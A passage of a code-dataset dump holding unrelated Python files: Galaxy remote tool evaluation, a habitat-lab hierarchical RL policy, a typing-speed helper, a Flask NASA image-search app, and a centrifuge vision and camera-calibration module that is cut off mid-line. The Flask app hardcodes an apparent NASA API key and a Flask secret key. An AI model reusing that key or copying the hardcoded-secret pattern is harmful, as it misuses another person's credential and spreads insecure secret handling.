job_io.user_context.is_admin,\n )\n with open(os.path.join(IMPORT_STORE_DIRECTORY, \"tool_data_tables.json\")) as data_tables_json:\n tdtm = from_dict(json.load(data_tables_json))\n app = ToolApp(\n sa_session=import_store.sa_session,\n tool_app_config=tool_app_config,\n datatypes_registry=datatypes_registry,\n object_store=object_store,\n tool_data_table_manager=tdtm,\n file_sources=job_io.file_sources,\n )\n # TODO: could try to serialize just a minimal tool variant instead of the whole thing ?\n tool = create_tool_from_representation(\n app=app,\n raw_tool_source=job_io.tool_source,\n tool_dir=job_io.tool_dir,\n tool_source_class=job_io.tool_source_class,\n )\n tool_evaluator = evaluation.RemoteToolEvaluator(\n app=app, tool=tool, job=job_io.job, local_working_directory=WORKING_DIRECTORY\n )\n tool_evaluator.set_compute_environment(compute_environment=SharedComputeEnvironment(job_io=job_io, job=job_io.job))\n with open(os.path.join(WORKING_DIRECTORY, \"tool_script.sh\"), \"a\") as out:\n command_line, version_command_line, extra_filenames, environment_variables = tool_evaluator.build()\n out.write(f'{version_command_line or \"\"}{command_line}')\n\n\nif __name__ == \"__main__\":\n TMPDIR = tempfile.mkdtemp()\n WORKING_DIRECTORY = os.getcwd()\n WORKING_PARENT = os.path.join(WORKING_DIRECTORY, os.path.pardir)\n if not os.path.isdir(\"working\") and os.path.isdir(os.path.join(WORKING_PARENT, \"working\")):\n # We're probably in pulsar\n WORKING_DIRECTORY = WORKING_PARENT\n METADATA_DIRECTORY = os.path.join(WORKING_DIRECTORY, \"metadata\")\n IMPORT_STORE_DIRECTORY = os.path.join(METADATA_DIRECTORY, \"outputs_new\")\n EXPORT_STORE_DIRECTORY = os.path.join(METADATA_DIRECTORY, \"outputs_populated\")\n try:\n main(TMPDIR, WORKING_DIRECTORY, IMPORT_STORE_DIRECTORY)\n except Exception:\n os.makedirs(EXPORT_STORE_DIRECTORY, exist_ok=True)\n with open(os.path.join(EXPORT_STORE_DIRECTORY, \"traceback.txt\"), \"w\") as out:\n out.write(traceback.format_exc())\n raise\n finally:\n shutil.rmtree(TMPDIR, ignore_errors=True)\n","repo_name":"galaxyproject/galaxy","sub_path":"lib/galaxy/tools/remote_tool_eval.py","file_name":"remote_tool_eval.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","stars":1194,"dataset":"github-code","pt":"62"} +{"seq_id":"29821801618","text":"import logging\nfrom itertools import chain\nfrom typing import Any, List\n\nimport gym.spaces as spaces\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\nfrom habitat_baselines.common.logging import baselines_logger\nfrom habitat_baselines.rl.ddppo.policy import resnet\nfrom habitat_baselines.rl.ddppo.policy.resnet_policy import ResNetEncoder\nfrom habitat_baselines.rl.hrl.hl.high_level_policy import HighLevelPolicy\nfrom habitat_baselines.rl.models.rnn_state_encoder import (\n build_rnn_state_encoder,\n)\nfrom habitat_baselines.rl.ppo.policy import (\n CriticHead,\n PolicyActionData,\n get_aux_modules,\n)\nfrom habitat_baselines.utils.common import CategoricalNet\n\n\nclass NeuralHighLevelPolicy(HighLevelPolicy):\n \"\"\"\n A trained high-level policy that selects low-level skills and their skill\n inputs. Is limited to discrete skills and discrete skill inputs. The policy\n detects the available skills and their possible arguments via the PDDL\n problem.\n \"\"\"\n\n def __init__(\n self,\n config,\n pddl_problem,\n num_envs,\n skill_name_to_idx,\n observation_space,\n action_space,\n aux_loss_config,\n agent_name,\n ):\n super().__init__(\n config,\n pddl_problem,\n num_envs,\n skill_name_to_idx,\n observation_space,\n action_space,\n aux_loss_config,\n agent_name,\n )\n self._all_actions = self._setup_actions()\n self._n_actions = len(self._all_actions)\n self._termination_obs_name = self._config.termination_obs_name\n\n use_obs_space = spaces.Dict(\n {\n k: self._obs_space.spaces[k]\n for k in self._config.policy_input_keys\n }\n )\n self._im_obs_space = spaces.Dict(\n {k: v for k, v in use_obs_space.items() if len(v.shape) == 3}\n )\n\n state_obs_space = {\n k: v for k, v in use_obs_space.items() if len(v.shape) == 1\n }\n self._state_obs_space = spaces.Dict(state_obs_space)\n\n rnn_input_size = sum(\n v.shape[0] for v in self._state_obs_space.values()\n )\n self._hidden_size = self._config.hidden_dim\n if len(self._im_obs_space) > 0 and self._config.backbone != \"NONE\":\n resnet_baseplanes = 32\n self._visual_encoder = ResNetEncoder(\n self._im_obs_space,\n baseplanes=resnet_baseplanes,\n ngroups=resnet_baseplanes // 2,\n make_backbone=getattr(resnet, self._config.backbone),\n )\n self._visual_fc = nn.Sequential(\n nn.Flatten(),\n nn.Linear(\n np.prod(self._visual_encoder.output_shape),\n self._hidden_size,\n ),\n nn.ReLU(True),\n )\n rnn_input_size += self._hidden_size\n else:\n self._visual_encoder = nn.Sequential()\n self._visual_fc = nn.Sequential()\n\n self._state_encoder = build_rnn_state_encoder(\n rnn_input_size,\n self._hidden_size,\n rnn_type=self._config.rnn_type,\n num_layers=self._config.num_rnn_layers,\n )\n self._policy = CategoricalNet(self._hidden_size, self._n_actions)\n self._critic = CriticHead(self._hidden_size)\n\n self.aux_modules = get_aux_modules(aux_loss_config, action_space, self)\n\n @property\n def should_load_agent_state(self):\n return True\n\n def get_termination(\n self,\n observations,\n rnn_hidden_states,\n prev_actions,\n masks,\n cur_skills,\n log_info,\n ):\n if self._termination_obs_name is None:\n return super().get_termination(\n observations,\n rnn_hidden_states,\n prev_actions,\n masks,\n cur_skills,\n log_info,\n )\n return (observations[self._termination_obs_name] > 0.0).view(-1).cpu()\n\n @property\n def policy_action_space(self) -> spaces.Space:\n return spaces.Discrete(self._n_actions)\n\n @property\n def num_recurrent_layers(self):\n return self._state_encoder.num_recurrent_layers\n\n @property\n def recurrent_hidden_size(self):\n return self._hidden_size\n\n def parameters(self):\n return chain(\n self._visual_encoder.parameters(),\n self._visual_fc.parameters(),\n self._policy.parameters(),\n self._state_encoder.parameters(),\n self._critic.parameters(),\n self.aux_modules.parameters(),\n )\n\n def get_policy_components(self) -> List[nn.Module]:\n return [self]\n\n def forward(self, obs, rnn_hidden_states, masks, rnn_build_seq_info=None):\n hidden = []\n if len(self._im_obs_space) > 0:\n im_obs = {k: obs[k] for k in self._im_obs_space.keys()}\n visual_features = self._visual_encoder(im_obs)\n visual_features = self._visual_fc(visual_features)\n hidden.append(visual_features)\n\n if len(self._state_obs_space) > 0:\n hidden.extend([obs[k] for k in self._state_obs_space.keys()])\n hidden = torch.cat(hidden, -1)\n\n return self._state_encoder(\n hidden, rnn_hidden_states, masks, rnn_build_seq_info\n )\n\n def to(self, device):\n self._device = device\n return super().to(device)\n\n def get_value(self, observations, rnn_hidden_states, prev_actions, masks):\n state, _ = self.forward(observations, rnn_hidden_states, masks)\n return self._critic(state)\n\n def evaluate_actions(\n self,\n observations,\n rnn_hidden_states,\n prev_actions,\n masks,\n action,\n rnn_build_seq_info,\n ):\n features, rnn_hidden_states = self.forward(\n observations, rnn_hidden_states, masks, rnn_build_seq_info\n )\n distribution = self._policy(features)\n value = self._critic(features)\n action_log_probs = distribution.log_probs(action)\n distribution_entropy = distribution.entropy()\n aux_loss_res = {\n k: v(features, observations) for k, v in self.aux_modules.items()\n }\n\n return (\n value,\n action_log_probs,\n distribution_entropy,\n rnn_hidden_states,\n aux_loss_res,\n )\n\n def get_next_skill(\n self,\n observations,\n rnn_hidden_states,\n prev_actions,\n masks,\n plan_masks,\n deterministic,\n log_info,\n ):\n batch_size = plan_masks.shape[0]\n next_skill = torch.zeros(batch_size, dtype=torch.long)\n skill_args_data: List[Any] = [None for _ in range(batch_size)]\n immediate_end = torch.zeros(batch_size, dtype=torch.bool)\n\n state, rnn_hidden_states = self.forward(\n observations, rnn_hidden_states, masks\n )\n distrib = self._policy(state)\n values = self._critic(state)\n if deterministic:\n skill_sel = distrib.mode()\n else:\n skill_sel = distrib.sample()\n action_log_probs = distrib.log_probs(skill_sel)\n\n for batch_idx, should_plan in enumerate(plan_masks):\n if should_plan != 1.0:\n continue\n use_ac = self._all_actions[skill_sel[batch_idx]]\n if baselines_logger.level >= logging.DEBUG:\n baselines_logger.debug(f\"HL Policy selected skill {use_ac}\")\n next_skill[batch_idx] = self._skill_name_to_idx[use_ac.name]\n skill_args_data[batch_idx] = [\n entity.name for entity in use_ac.param_values\n ]\n log_info[batch_idx][\"nn_action\"] = use_ac.compact_str\n\n return (\n next_skill,\n skill_args_data,\n immediate_end,\n PolicyActionData(\n action_log_probs=action_log_probs,\n values=values,\n actions=skill_sel,\n rnn_hidden_states=rnn_hidden_states,\n ),\n )\n","repo_name":"facebookresearch/habitat-lab","sub_path":"habitat-baselines/habitat_baselines/rl/hrl/hl/neural_policy.py","file_name":"neural_policy.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","stars":1467,"dataset":"github-code","pt":"62"} +{"seq_id":"27746364307","text":"import random\nimport csv\nimport json\n\n\n# return formatted array from \"words_to_write\" csv file\ndef create_word_list():\n unformatted_word_list = []\n with open(file='words_to_write') as file:\n data = csv.reader(file)\n for i in data:\n unformatted_word_list.append(i)\n return unformatted_word_list[0]\n\n\n# return a random sapmle array from formatted words list array\ndef create_random_word_list():\n word_list = create_word_list()\n random_word_list = []\n random_word_indexes = random.sample(range(0, len(word_list) - 1), 5)\n for i in random_word_indexes:\n random_word_list.append(word_list[i])\n return random_word_list\n\n# read and return cpm the highscore data from highscore.json file\ndef cpm_highscore():\n with open('highscore.json') as json_file:\n jsfile = json.load(json_file)\n cpm_h_score = int(jsfile['CPM Highscore:'])\n return cpm_h_score\n\n# read and return the wpm highscore data from highscore.json file\ndef wpm_highscore():\n with open('highscore.json') as json_file:\n jsfile = json.load(json_file)\n wpm_h_score = int(jsfile['WPM Highscore:'])\n return wpm_h_score\n","repo_name":"szilveszter94/typing-speed-app-python","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8014829731","text":"# CST 205\n# Yvonne Cruz, Niel McMahan, Shawn Deppe, Albert Salas\n# 12/06/2020\n# Group Project - Team 28\n# Website that searches through a NASA API\n# https://github.com/yvcruz06/205-Project\n\nimport requests, json\nfrom flask import Flask, render_template, flash, redirect, url_for, request\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\nfrom flask_bootstrap import Bootstrap\nfrom PIL import Image\nfrom io import BytesIO\nfrom image_filter import FilteredImage\nfrom image_resizer import resize_image\nimport numpy as np\nimport cv2\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'csumb-otter'\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\nbootstrap = Bootstrap(app)\n\napp.config['BOOTSTRAP_BOOTSWATCH_THEME'] = 'superhero'\n\nmy_key = 'D8FJrAVDcE5RHJ29uwD5lRftLXMDO6Tw3iGnj19V'\nendpoint = 'https://images-api.nasa.gov/search'\napi_result = {}\n\nclass Search(FlaskForm):\n search_terms = StringField('Search Terms', validators=[DataRequired()])\n\ndef getResults(terms): \n global api_result\n print(\"validate entered\")\n payload = {\n 'q': terms\n }\n try:\n r = requests.get(endpoint, params=payload)\n api_result = r.json()\n except:\n print('please try again') \n\n with open('results.json', 'w') as json_file:\n json.dump(api_result, json_file) \n\n# homepage\n@app.route('/', methods=('GET', 'POST'))\ndef index():\n form = Search()\n if form.validate_on_submit():\n getResults(form.search_terms.data)\n #redirect here\n return render_template(\"results.html\", results=api_result[\"collection\"][\"items\"])\n return render_template('index.html', form=form)\n\n@app.route(\"/image/\", methods=('GET', 'POST'))\ndef image(nasa_id):\n if request.method == \"GET\":\n # check to see if the id provided in the URL is a valid one\n for result in api_result[\"collection\"][\"items\"]:\n if result[\"data\"][0][\"nasa_id\"] == nasa_id:\n # grab URL for image and convert to PIL image\n url = requests.get(result[\"links\"][0][\"href\"])\n image = Image.open(BytesIO(url.content))\n image.save(\"static/image.png\")\n return render_template(\"image.html\", image=result)\n\n return redirect(\"/\")\n else:\n # here we check what options the user selected\n if \"submit\" in request.form:\n # Modified ifs so that it can no longer look at empty data\n if request.form['filters']!=\"none\":\n #very clumsy, but it does properly map images\n if request.form['filters']==\"colormap\":\n colormap = int(request.form['colormap'])\n mapped_image = cv2.imread(\"static/image.png\", cv2.IMREAD_GRAYSCALE)\n mapped_image = cv2.applyColorMap(mapped_image, colormap)\n cv2.imwrite(\"static/image.png\", mapped_image)\n else: \n filtered_image = FilteredImage(request.form['filters'])\n if request.form['size']!=\"none\":\n resized_image = resize_image(request.form['size'])\n return redirect(\"/modifiedImage\")\n\n# this route renders a page with the image and the modifcations a user chose\n@app.route(\"/modifiedImage\")\ndef modifiedImage():\n return render_template(\"modified_image.html\")\n","repo_name":"yvcruz06/205-Project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"9026840009","text":"# -*- coding:utf-8 -*-\n# Author: Roserland\n# Time: 2020-11-10\n# Centrifuge part of the Auto-S Robot System\n\nimport numpy as np\nimport cv2\nimport os, yaml, time, json\nimport pandas as pd\n\nclass Centrifuge(object):\n def __init__(self, color, depth,\n crop_center=(203, 222), crop_size=(406, 406), world_center_pos=(106.3742, -573.5209),\n tubes_num=4, holes_num=4,\n tubes_bgr_thres=None, holes_bgr_thres=None, temp_img_dir='../temps/centri_temp_imgs/',\n tubes_min_pixels=100, tubes_max_pixels=1150, hole_min_pixels=200, holes_max_pixels=480):\n\n self.color_img = color\n self.depth_img = depth\n self.crop_center = crop_center\n self.crop_size = crop_size\n self.centri_center_real_pos = world_center_pos\n self.aim_tubes_num = tubes_num\n self.aim_holes_num = holes_num\n\n if tubes_bgr_thres == None:\n self.tubes_bgr_thres = [(0, 50), (40, 150), (85, 210)]\n else:\n self.tubes_bgr_thres = tubes_bgr_thres\n\n if holes_bgr_thres == None:\n self.holes_bgr_thres = [(0, 10), (0, 16), (0, 10)]\n else:\n self.holes_bgr_thres = holes_bgr_thres\n\n if not os.path.exists(temp_img_dir):\n os.makedirs(temp_img_dir)\n self.temp_img_dir = temp_img_dir\n\n self.tubes_min_pixels = tubes_min_pixels\n self.tubes_max_pixels = tubes_max_pixels\n self.hole_min_pixels = hole_min_pixels\n self.holes_max_pixels = holes_max_pixels\n\n def crop_img(self, crop_center, crop_size):\n \"\"\"\n 根据所以的图片像素中心点,和 所需要的大小框,裁剪图片\n :param crop_center:\n :param crop_size:\n :return:\n \"\"\"\n w, h, c = self.color_img.shape\n _h, _w = crop_size\n\n assert w > _w\n assert h > _h\n\n half_h = _h // 2\n half_w = _w // 2\n center_y, center_x = crop_center\n\n upper_x = center_x - half_w\n upper_y = center_y - half_h\n if upper_x < 0 or upper_y < 0:\n print(\"Center Position is not Valid, please check it!\")\n raise ValueError\n\n res = self.color_img[upper_x: upper_x + _w,\n upper_y: upper_y + _h]\n tailored_img_save_path = os.path.join(self.temp_img_dir, './tailored_img.jpg')\n cv2.imwrite(tailored_img_save_path, res)\n return res\n\n def transfer_to_gray(self, ):\n \"\"\"彩色图像转化为灰度图像\"\"\"\n return cv2.cvtColor(src=self.color_img, code=cv2.COLOR_BGR2GRAY)\n\n def thres_binary_for_tubes(self, img):\n bgr_thres = self.tubes_bgr_thres\n b_thres, g_thres, r_thres = bgr_thres\n b_low, b_high = b_thres\n g_low, g_high = g_thres\n r_low, r_high = r_thres\n\n b, g, r = cv2.split(img)\n\n a_r = (r >= r_low) & (r <= r_high)\n a_g = (g >= g_low) & (g <= g_high)\n a_b = (b >= b_low) & (b <= b_high)\n\n thres = (a_r * a_g * a_b) * 255\n\n return thres.astype(np.uint8)\n\n def thres_binary_for_holes(self, img):\n bgr_thres = self.holes_bgr_thres\n b_thres, g_thres, r_thres = bgr_thres\n b_low, b_high = b_thres\n g_low, g_high = g_thres\n r_low, r_high = r_thres\n\n b, g, r = cv2.split(img)\n\n a_r = (r >= r_low) & (r <= r_high)\n a_g = (g >= g_low) & (g <= g_high)\n a_b = (b >= b_low) & (b <= b_high)\n\n thres = (a_r * a_g * a_b) * 255\n\n return thres.astype(np.uint8)\n\n def coords_transformer(self, points, center_pos=None, tailored_size=None):\n \"\"\"\n 由于处理的图片是裁剪后的图片, 在传递给其他函数时,需要将坐标转换\n :param points:\n :param center_pos:\n :param tailored_size:\n :return:\n \"\"\"\n if center_pos == None:\n center_pos = self.crop_center\n if tailored_size == None:\n tailored_size = self.crop_size\n\n w, h = tailored_size\n t_cen = (w / 2, h / 2)\n x = points[0] - t_cen[0] + center_pos[0]\n y = points[1] - t_cen[1] + center_pos[1]\n return (int(x), int(y))\n\n def draw_rectangles(self, rect_points_list, img_name='__with_multi_rectangles.jpg'):\n src_img = self.color_img[:]\n save_path = os.path.join(self.temp_img_dir, img_name)\n\n length = len(rect_points_list)\n\n # draw rectangles\n for i in range(length):\n (pt1, pt2) = rect_points_list[i]\n\n cv2.rectangle(img=src_img, pt1=pt1, pt2=pt2, color=(183, 152, 63), thickness=2)\n s = cv2.imwrite(save_path, src_img)\n if not s:\n print('Not saved')\n print(\"Please check if the path is right or if the directory exists\")\n raise ValueError\n\n def find_possible_areas(self, bi_img, nums=4, min_area_pixels=200, max_area_pixels=1150):\n assert min_area_pixels < max_area_pixels\n\n _bi_img = bi_img[:, :]\n print(_bi_img.shape)\n\n contours, hierarchy = cv2.findContours(_bi_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n print(\"contours num is {}\".format(len(contours)))\n area = []\n\n for i in range(len(contours)):\n area.append(cv2.contourArea(contours[i]))\n area = np.array(area)\n\n if len(area) == 0:\n print('***************-----**************')\n print()\n return\n else:\n print('OK')\n\n # 根据连通域大小排序\n # 同时滤除掉大于最大像素阈值面积、小于最小像素阈值阈值的区域\n area_idx = np.argsort(area)\n print(\"Area indexs are:\", area_idx)\n print(\"After sorted, area pixel nums are:\", area[area_idx])\n sorted_areas = area[area_idx]\n\n valid_idx = (sorted_areas >= min_area_pixels) & (sorted_areas <= max_area_pixels)\n sorted_areas = sorted_areas[valid_idx]\n\n print(\"Most possible {} areas are {}\".format(nums, sorted_areas[-nums:]))\n contours = np.array(contours)[area_idx]\n print(\"Length of contours {}\".format(len(contours)))\n contours = contours[valid_idx]\n print(\"Length of contours {}\".format(len(contours)))\n final_contours = contours[-nums:]\n\n rect_points = []\n rect_center_points = []\n for con in final_contours:\n x, y, w, h = cv2.boundingRect(con)\n p1 = (x, y)\n p2 = (x + w, y + h)\n center_point = (x + w / 2, y + h / 2)\n rect_points.append((p1, p2))\n rect_center_points.append(center_point)\n\n # 返回 连通域边框, 框住的连通域最小矩形, 最小矩形中心点\n # list, list, list\n return final_contours, rect_points, rect_center_points\n\n\n def find_holes(self, nums=4, tube_volume=150, err_thres=5,\n max_hole_area=None, demo_img_name='holes_with_multi_rectangles.jpg'):\n \"\"\"\n 找到一张图片中,可能的可以放入试管的槽位\n 根据所需要的试管大小,给出对应孔洞像素坐标\n :param centri_img: 输入的离心机内部图片\n :param center_pos: 离心机中心坐标\n :param tube_volume: 所需要的试管容积\n :param nums: 需要返回的试管孔数目\n :param err_thres: 检查返回试管坐标时, 允许的非对称像素误差\n :return: 相应的坐标\n \"\"\"\n # TODO: 由于离心机需要严格对称操作,所以最好一次性给出两个关于中心对称的坐标\n # 尚未设计出误差检测算法\n # 当前可用的图片编号为00024-00028\n\n center_pos = self.crop_center\n tailored_size = self.crop_size\n tailored_img = self.crop_img(crop_center=center_pos, crop_size=tailored_size)\n\n # 高斯平滑\n tailored_img = cv2.GaussianBlur(src=tailored_img, ksize=(5, 5), sigmaX=1)\n # 中值滤波\n tailored_img = cv2.medianBlur(src=tailored_img, ksize=5)\n thres_img = self.thres_binary_for_holes(img=tailored_img)\n\n # 存储二值化图像\n cv2.imwrite(os.path.join(self.temp_img_dir, 'holes_thres_img_0.jpg'), thres_img)\n # 找到最大联通区域,并且绘制轮廓\n contours, rect_points, rect_center_points = self.find_possible_areas(bi_img=thres_img, nums=nums,\n min_area_pixels=self.hole_min_pixels,\n max_area_pixels=self.holes_max_pixels)\n # visualization: draw multiple rectangles.\n new_rect_points = []\n for item in rect_points:\n p1, p2 = item\n p1 = self.coords_transformer(points=p1, center_pos=self.crop_center, tailored_size=self.crop_size)\n p2 = self.coords_transformer(points=p2, center_pos=self.crop_center, tailored_size=self.crop_size)\n new_rect_points.append((p1, p2))\n self.draw_rectangles(rect_points_list=new_rect_points, img_name=demo_img_name)\n\n print(\"Nums of detected contours: {}\".format(len(contours)))\n print(rect_points)\n print(\"Bounding Rectangles' center points are\")\n print(rect_center_points)\n\n real_points = []\n for item in rect_center_points:\n real_points.append(\n self.coords_transformer(points=item, center_pos=self.crop_center, tailored_size=self.crop_size))\n print(real_points)\n\n # add symmetric points\n # TODO: if there are some duplicated symmetric points in the selected list,\n # at this moment there is no accurate solution.\n sym_real_points = self.symmetrical_detection(world_center_pos=self.centri_center_real_pos,\n detected_holes_center=real_points)\n real_points = sym_real_points\n\n return thres_img, rect_points, rect_center_points, real_points\n\n\n def find_tubes(self, nums=4, tube_volume=150, err_thres=5,\n demo_img_name='tubdes_with_multi_rectangles.jpg', **kwargs):\n\n # TODO: 由于离心机需要严格对称操作,所以最好一次性给出两个关于中心对称的坐标\n # 当前可用的图片编号为00024-00028\n\n center_pos = self.crop_center\n tailored_size = self.crop_size\n tailored_img = self.crop_img(crop_center=center_pos, crop_size=tailored_size)\n\n thres_img = self.thres_binary_for_tubes(img=tailored_img, )\n # 为了减少连通区域的个数, 所做的必要的中值滤波\n thres_img = cv2.medianBlur(src=thres_img, ksize=5)\n # 存储二值化图像\n cv2.imwrite(os.path.join(self.temp_img_dir, 'tubes_thres_img_0.jpg'), thres_img)\n\n contours, rect_points, rect_center_points = self.find_possible_areas(bi_img=thres_img, nums=nums,\n min_area_pixels=self.tubes_min_pixels,\n max_area_pixels=self.tubes_max_pixels)\n\n print(\"Nums of detected contours: {}\".format(len(contours)))\n print(rect_points)\n print(\"Bounding Rectangles' center points are\")\n print(rect_center_points)\n\n real_points = []\n for item in rect_center_points:\n real_points.append(\n self.coords_transformer(points=item, center_pos=self.crop_center, tailored_size=self.crop_size))\n print(real_points)\n\n new_rect_points = []\n for item in rect_points:\n p1, p2 = item\n p1 = self.coords_transformer(points=p1, center_pos=self.crop_center, tailored_size=self.crop_size)\n p2 = self.coords_transformer(points=p2, center_pos=self.crop_center, tailored_size=self.crop_size)\n new_rect_points.append((p1, p2))\n self.draw_rectangles(rect_points_list=new_rect_points, img_name=demo_img_name)\n\n return thres_img, rect_points, rect_center_points, real_points\n\n def symmetrical_detection(self, world_center_pos, detected_holes_center: list):\n \"\"\"\n mainly for holes detection\n TODO: 2 methods\n 1. using image pixel position of holes and tubes, and the centrifuge center as the origin, then transfer co-\n ordinates.\n 2. using real world (x, y, _) position, this way maybe more practicable\n :param world_center_pos: centrifuges' center position, [x, y, z]\n :param detected_holes_center: [pos1, pos2, ...], pos1 -> [x, y, z]\n :return:\n \"\"\"\n length = len(detected_holes_center)\n res = []\n _world_center_pos = np.array(world_center_pos)\n for i in range(length):\n res.append(detected_holes_center[i])\n temp_coord = np.array(detected_holes_center[i])\n opposite = _world_center_pos * 2 - temp_coord\n res.append(opposite.tolist())\n\n assert len(res) == length * 2\n return res\n\n\n\n\n\nclass Realsense_Calibrator(object):\n def __init__(self, chessboard_color_path=None, chessboard_depth_path=None,\n calibration=False):\n # camera intrinsic matrix\n self.c_mtx = np.array([[612.204, 0, 328.054],\n [0, 611.238, 234.929],\n [0, 0, 1]])\n self.dist = np.array([[0.0, 0.0, 0.0, 0.0, 0.0]]).reshape((1, 5))\n # self.r_mtx = np.matrix([[-0.26458059, 0.96286004, 0.05382989],\n # [0.95508371, 0.26935109, -0.12355197],\n # [-0.13346239, 0.0187226, -0.99087701]])\n # self.t_mtx = np.matrix([[462.7425878, ],\n # [40.05304244, ],\n # [879.0725397, ]])\n self.r_mtx = np.matrix([[ 0.15479108, -0.98605391, 0.06113436],\n [-0.98595516, -0.15811057, -0.05379093],\n [ 0.06270674, -0.05194938, -0.99667905]])\n self.t_mtx = np.matrix([[-727.57927773],\n [ 88.63541587],\n [ 824.67977889],])\n self.chessboard_color_path = chessboard_color_path\n self.chessboard_depth_path = chessboard_depth_path\n self.calibration = calibration\n\n def img2world(self, img_point, zConst_S):\n \"\"\"\n without distortion, just a test\n :param img_point: 1 x 2 array\n :param zConst_s:\n :return:\n \"\"\"\n if len(img_point) == 2:\n _img_point = np.array([[img_point[0], img_point[1], 1]])\n elif len(img_point) == 3:\n _img_point = np.array([img_point])\n else:\n print(\"please check the image coordinates\")\n raise ValueError\n rotation_mtx_I = np.linalg.inv(self.r_mtx)\n camera_mtx_I = np.linalg.inv(self.c_mtx)\n translation_mtx = np.array(self.t_mtx)\n\n temp_mtx = np.dot(camera_mtx_I, _img_point.T) * zConst_S - translation_mtx\n\n world_3d = rotation_mtx_I.dot(temp_mtx)\n\n return world_3d\n\n def re_calibration(self, c_w=6, c_h=9, square=24,\n real_pos_file='/Users/fanzw/PycharmProjects/Others/Auto-S-Communications/utils/carlibrations/标定new.csv',):\n \"\"\"\n calibrating a single chessboard image whose corners have correlated real world position;\n mainly for extrinsic parameters;\n :return:\n \"\"\"\n chessboard_color_img = cv2.imread(self.chessboard_color_path)\n chessboard_depth_img = cv2.imread(self.chessboard_depth_path)\n\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\n objp = np.zeros((c_w * c_h, 3), np.float32)\n df = pd.read_csv(real_pos_file, header=None)\n measured_obj_corners_2D = np.array(df.values[:, 12:15].astype(np.float) * 1000)\n objp[:, :2] = np.mgrid[0:c_h, 0:c_w].T.reshape(-1, 2) * square\n objp = measured_obj_corners_2D.reshape(objp.shape)\n\n img = chessboard_color_img\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, corners = cv2.findChessboardCorners(gray, (c_h, c_w), None)\n print(ret)\n\n if ret == True:\n corners2 = cv2.cornerSubPix(gray, corners, (11, 11), (-1, -1), criteria)\n print('basic corner point:\\n', corners2[0], corners2[1], corners2[9])\n cv2.drawChessboardCorners(img, (c_h, c_w), corners2, ret)\n cv2.imshow('img', img)\n cv2.waitKey(500)\n\n # Find the rotation and translation vectors.\n _, rvecs, tvecs, inliers = cv2.solvePnPRansac(objp, corners2, self.c_mtx, self.dist)\n\n r_mtx, _ = cv2.Rodrigues(rvecs)\n t_mtx = tvecs\n print(\"\\nRotation matrix and Translation matrix:\")\n print(r_mtx)\n print(t_mtx)\n\n else:\n print(\"Cannot get right return value\")\n\n self.r_mtx = r_mtx\n self.t_mtx = t_mtx\n print(\"re-calibrated extrinsic parameters:\")\n print(r_mtx)\n print(t_mtx)\n\n # store the extrinsic parameters\n with open('./realsense_extrinsic_params.yaml', 'w') as j:\n rvec = [[float(self.r_mtx[row][column]) \\\n for column in range(self.r_mtx.shape[1])] for row in range(self.r_mtx.shape[0])]\n tvec = [[float(self.t_mtx[row][column]) \\\n for column in range(self.t_mtx.shape[1])] for row in range(self.t_mtx.shape[0])]\n data = {'r_mtx': rvec, 't_mtx': tvec}\n yaml.dump(data, j)\n\n def coor_transform(self, img_point, zConst_s):\n if self.calibration:\n self.re_calibration()\n\n res = self.img2world(img_point=img_point, zConst_S=zConst_s)\n return res.ravel()\n\n\ndef centrifuge_capture(device_num=0, temp_dir='../temps'):\n \"\"\"\n 拍摄图片\n :param device_num: 摄像头设备号\n :param temp_dir: 照片临时存储文件夹\n :return: 拍摄的照片\n \"\"\"\n cap = cv2.VideoCapture(0)\n ret, frame = cap.read()\n cap.release()\n return frame\n\n\n # 1. capture a image, store its color image and depth image\n # 2. add a task:\n # find some holes, or want some tubes\n # here the tubes are the same volume just like 150ml\n # 3. get the objects center image position\n # 4. transfer them to real world positions\n # 5. send the real-world position to Franka arm\n\n\ndef process_once(color, depth, task_name=\"tubes\", _nums=4, tubes_mean_height=236.85):\n \"\"\"\n a single demo for recognition of tubes or some empty holes in the centrifuge rotor\n :param color_img_path:\n :param depth_npy_path:\n :param task_name:\n :param _nums:\n :param tubes_mean_height:\n :return:\n \"\"\"\n assert task_name in ['tubes', 'holes']\n\n thermofish = Centrifuge(color=color, depth=depth)\n if task_name == 'tubes': # get tubes' coordinates\n thres_holes, rect_points, rect_center_points, real_points = thermofish.find_tubes(nums=_nums, )\n else: # get holes' coordinates\n thres_holes, rect_points, rect_center_points, real_points = thermofish.find_holes(nums=_nums, )\n\n coordinates_transformer = Realsense_Calibrator()\n tvecs = coordinates_transformer.t_mtx\n\n tubes_detected_cal_pos = []\n for img_pos in real_points:\n temps = coordinates_transformer.coor_transform(img_point=img_pos, zConst_s=tvecs[2] - tubes_mean_height)\n tubes_detected_cal_pos.append(temps.ravel().tolist()[0])\n tubes_detected_cal_pos = np.array(tubes_detected_cal_pos)\n print(tubes_detected_cal_pos)\n\n if task_name == 'tubes':\n tubes_detected_cal_pos[:, 2] = tubes_mean_height\n else:\n tubes_detected_cal_pos[:, 2] = tubes_mean_height - 8.5\n\n return tubes_detected_cal_pos\n\n\ndef coords_encoding():\n pass\n\n\n\ndef main():\n # color_img_dir = '../centri_doc/color/'\n #\n # tubes_img = cv2.imread('../datas/centrifuges/color/color_1603163102.1412394.jpg')\n # tubes_img = cv2.imread('../datas/centrifuges/color/color_1603163004.5233963.jpg')\n tubes_img = cv2.imread('../datas/centrifuges/color/4-tubes-base.jpg')\n # empty_img = cv2.imread('../datas/centrifuges/color/color_1604566870.jpg')\n empty_img = cv2.imread('../datas/centrifuges/color/empty-3.jpg')\n depth = 